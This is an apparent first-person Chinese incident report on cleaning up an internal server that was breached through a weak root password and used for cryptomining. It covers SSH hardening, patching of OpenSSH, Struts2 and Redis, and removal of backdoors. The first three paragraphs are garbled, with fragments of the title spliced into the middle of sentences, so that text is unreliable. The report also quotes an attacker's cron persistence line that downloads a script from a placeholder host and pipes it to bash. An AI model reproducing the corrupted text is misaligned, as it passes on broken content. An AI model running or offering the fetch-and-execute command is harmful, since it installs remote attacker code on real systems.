服务器漏洞整改报告

昨天下午四点十七分，服务运维老周在群里发了一张截图，器漏某台内网服务器的洞整CPU占用率飙到了97%，top命令里一个叫xmrig的改报告进程赫然排在第一。这台机器是服务两年前部署的，跑着公司一个内部报表系统，器漏平时负载从来没超过20%。洞整查了登录日志，改报告发现3月12日凌晨2点14分，服务有人用root账号从境外IP成功登录过一次——密码还是器漏三年前定的那个Admin@123。整改工作就从这条记录开始了。洞整

第一件事是改报告封堵入口。SSH端口从默认的服务22改成了61234，同时把公钥登录设为唯一方式，器漏密码登录直接禁用。洞整老周把安全组规则也翻出来重新过了一遍，发现18条入站规则里有7条是“允许所有来源访问”，其中两条对应着已下线的测试服务，端口却还敞开着。删掉这些规则后，攻击面肉眼可见地缩小了。这活儿不难，但之前没人愿意抽时间做——毕竟改配置有风险，谁也不想背锅。

接着处理漏洞本身。扫描工具报了三个高危项：OpenSSH版本过旧（7.4，存在CVE-2018-15473用户枚举漏洞）、Apache Struts2组件版本停留在2017年（CVE-2017-5638，RCE）、还有Redis服务以root权限运行且未设密码，直接暴露在内网。升级OpenSSH时出了点岔子，yum源里没有新版本，最后手动编译安装，期间服务中断了约15分钟。Struts2那个更麻烦，因为系统里有个老模块依赖旧版本的行为特性，升级后测试发现一个文件上传功能报错，又花了两小时改兼容性代码。Redis倒是简单，改配置绑定内网IP、设置强密码、换非root用户启动，重启完事了。

真正让我警惕的是排查后门的过程。用chkrootkit和rkhunter扫完，没发现明显恶意软件，但检查计划任务时，在/var/spool/cron/root里发现一条每五分钟执行一次的curl http://xxx.xx/1.sh | bash——这显然是攻击者留下的持久化机制。顺着痕迹看，他还在/usr/lib/systemd/system/里塞了个伪装成系统服务的单元文件，名字叫sys-update.service，不仔细看真发现不了。删掉这些，再用lsof -i检查所有监听端口，确认没有异常回连。

整个整改花了三天，比预期久。最耗时间的不是技术操作，而是协调——业务部门不批维护窗口，怕报表中断影响月度结算。后来好在领导出面，把操作时间定在周六凌晨两点，业务量最低的时段。做完之后，我把所有服务器密码统一改成了随机生成的16位字符串，存进公司密码管理器，并强制开启双因素认证。顺手写了个检查脚本，每周自动扫描一次开放端口和计划任务，结果发到运维群。

坦白说，这不算一次漂亮的整改。过程中走了弯路，比如一开始忘了查cron，差点漏掉后门。但经验就是这么攒下来的——下一次再有服务器告警，我会先看计划任务，再查systemd服务，然后才去看进程列表。服务器安全不是装个杀毒软件就完事，它是一场持续的博弈，攻击者总在找更隐蔽的入口，而我们要做的，是至少比隔壁公司的运维更细心一点。